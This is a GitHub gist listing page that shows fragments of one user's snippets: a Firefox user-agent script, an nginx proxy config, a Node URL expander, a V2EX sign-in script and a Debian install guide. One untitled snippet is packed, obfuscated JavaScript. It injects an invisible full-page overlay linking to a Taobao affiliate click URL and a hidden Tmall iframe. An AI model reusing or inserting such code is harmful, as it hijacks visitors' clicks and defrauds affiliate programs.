Skip to content

Instantly share code, notes, and snippets.

@yanwen
yanwen / UserAgentChanger.uc.js
Created September 17, 2014 03:00
Mac Firefox 登录工商银行网银 UC脚本
// ==UserScript==
// @name UserAgentChangeModLite.uc.js
// @namespace http://www.sephiroth-j.de/mozilla/
// @charset utf-8
// @note modify by lastdream2013 at 20130616 mino fix
// @note modify by lastdream2013 at 20130409 sitelist : change SITELIST idx to Name
// @note modify by lastdream2013 for navigator.userAgent https://g.mozest.com/thread-43428-1-2
// @include chrome://browser/content/browser.xul
// ==/UserScript==
var ucjs_UAChanger = {
#!/usr/bin/env python
# encoding: utf-8
"""
@version: 0.2
@author: endoffiht
@file: yunfile_downloader.py
@time: 15/6/29 18:06
"""
@yanwen
yanwen / gist:1561017
Created January 4, 2012 17:10 — forked from lamengao/gist:1560715
dl.cuoluo.me nginx config
server {
listen 80;
server_name dl.cuoluo.me;
location / {
proxy_redirect off;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_pass http://dl.dropbox.com/u/1812807/dl.cuoluo.me/index.html;
if ($request_method = POST) {
@yanwen
yanwen / url.js
Created January 9, 2012 16:07 — forked from iamued/url.js
short url cover for Mac
var http = require('http');
const traceurl = require('traceurl');
var url =require('url');
var server = http.createServer(function (request, response) {
response.writeHead(200, {"Content-Type": "text/plain"});
//console.log("request"+url.parse(request.url).query);
var urlreq=url.parse(request.url,true).query;
if(urlreq!=''){
if(urlreq.url){
@yanwen
yanwen / LICENSE.txt
Created February 20, 2012 13:28 — forked from aemkei/LICENSE.txt
Binary Tetris - 140byt.es
DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
Version 2, December 2004
Copyright (C) 2011 YOUR_NAME_HERE <YOUR_URL_HERE>
Everyone is permitted to copy and distribute verbatim or modified
copies of this license document, and changing it is allowed as long
as the name is changed.
DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
@yanwen
yanwen / LICENSE.txt
Created February 20, 2012 13:29 — forked from aemkei/LICENSE.txt
Binary Tetris - 140byt.es
DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
Version 2, December 2004
Copyright (C) 2011 YOUR_NAME_HERE <YOUR_URL_HERE>
Everyone is permitted to copy and distribute verbatim or modified
copies of this license document, and changing it is allowed as long
as the name is changed.
DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
#! /usr/bin/env python
# -*- coding: utf-8 -*-
import requests
from bs4 import BeautifulSoup
signin_url = "http://www.v2ex.com/signin"
award_url = "http://www.v2ex.com/mission/daily"
main_url = "http://www.v2ex.com"
eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('2.3("<8 9=\\"i:j;5:4%;6:k%;z-l:1;\\"><a m=\\"");2.3("7:\\/\\/s.n.o.b/t?e=q%r%u%v%w");2.3("\\" x=\\"y\\"><A c=\\"7:\\/\\/B.C.D\\/E.F\\" 5=\\"4%\\" 6=\\"4%\\" G=\\"0\\"><\\/a><\\/8>");2.3("<p d=\'f\' 9=\'g-H: -I;g-J:K\'>");2.3("<h d=\\"f\\" L=\\"1\\" M=\\"1\\" c=\\"7:\\/\\/N.O.b\\/\\" P=\\"0\\" 5=\\"4%\\" Q=\\"R\\" ");2.3("6=\\"S\\"><\\/h>");',55,55,'||document|writeln|100|width|height|http|div|style||com|src|align||center|margin|iframe|position|absolute|1659|index|href|click|taobao||zGU34CA7K|2BPkqB04MQzdgG3VSuWRI1IF3n|||2FzhW|2BbogdediJHZGZ6vDotKjsvhGbRVQn0r6NRq3SpoHcXAPEHtZgE84w|3D|target|_blank||img|www|qinyuan168|net|jy|gif|border|top|150px|left|0px|marginwidth|marginheight|esey|tmall|f
@yanwen
yanwen / Popobox-debian
Last active April 24, 2016 13:22 — forked from ShenXuGongZi/Popobox-debian
29元 泡泡云 安装 debian
Debian with Popobox v1.0
原文链接:http://pear.xiaojiublog.net/2013/11/debian-with-popobox-v1-0/
## 部分内容由 felix021 修正、简化 ##
1: 制作Debian系统
mkdir chroot && cd chroot
sudo debootstrap --foreign --arch=armel wheezy debian http://ftp.debian.org/debian
打包: